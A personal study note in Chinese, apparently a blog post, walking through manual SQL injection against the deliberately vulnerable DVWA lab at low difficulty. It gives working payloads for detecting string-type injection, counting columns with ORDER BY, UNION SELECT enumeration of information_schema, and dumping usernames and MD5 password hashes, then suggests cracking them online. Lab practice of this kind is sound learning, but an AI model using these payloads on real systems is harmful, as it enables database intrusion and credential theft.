DVWA-SQL Injection(手工注入)

本文为个人学习笔记,难度LOW

目录

SQL注入

判断注入类型

判断字段数

判段回显位置

查询表名

查询表中字段


SQL注入

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机

判断注入类型

注入类型分为字符型和数字型

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的

但当我们输入1时,页面正常回显,并且可以看到是get传参的方式

但在我们输入1’后页面报错

输入1’ and 1=1正常回显

确定其为字符型报错

判断字段数

利用order by 判断字段数,报错时就代表字段数

1’ order by1时正常回显

1’ order by 2 #正常回显

1’ order by 3 #回显错误

证明其字段只有两列

判段回显位置

利用联合查询union select,查询的同时注意回显位置

我们先查询3项,分别是其数据库版本、数据库、用户

1' union select version(),database(),user()#                    但出现报错

去掉一项后正常回显

1' union select version(),database()#

说明有两个回显位置1' union select 1,2#

查询表名

利用数据库information_schema进行查询

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

 我们可以看到dvwa数据库中有两个表:guestbooksusers

查询表中字段

我们大概可以确定users表中会含有用户名密码,接下来就是查询users表中的字段

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 发现userpassworld,然后获取这两个字段中的数据

1' union select user,password from users# 

 出现了用户名和密码

密码是md5加密的,使用在线解密工具就可以得到密码

md5在线解密:MD5免费在线解密破解_MD5在线加密-SOMD5

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值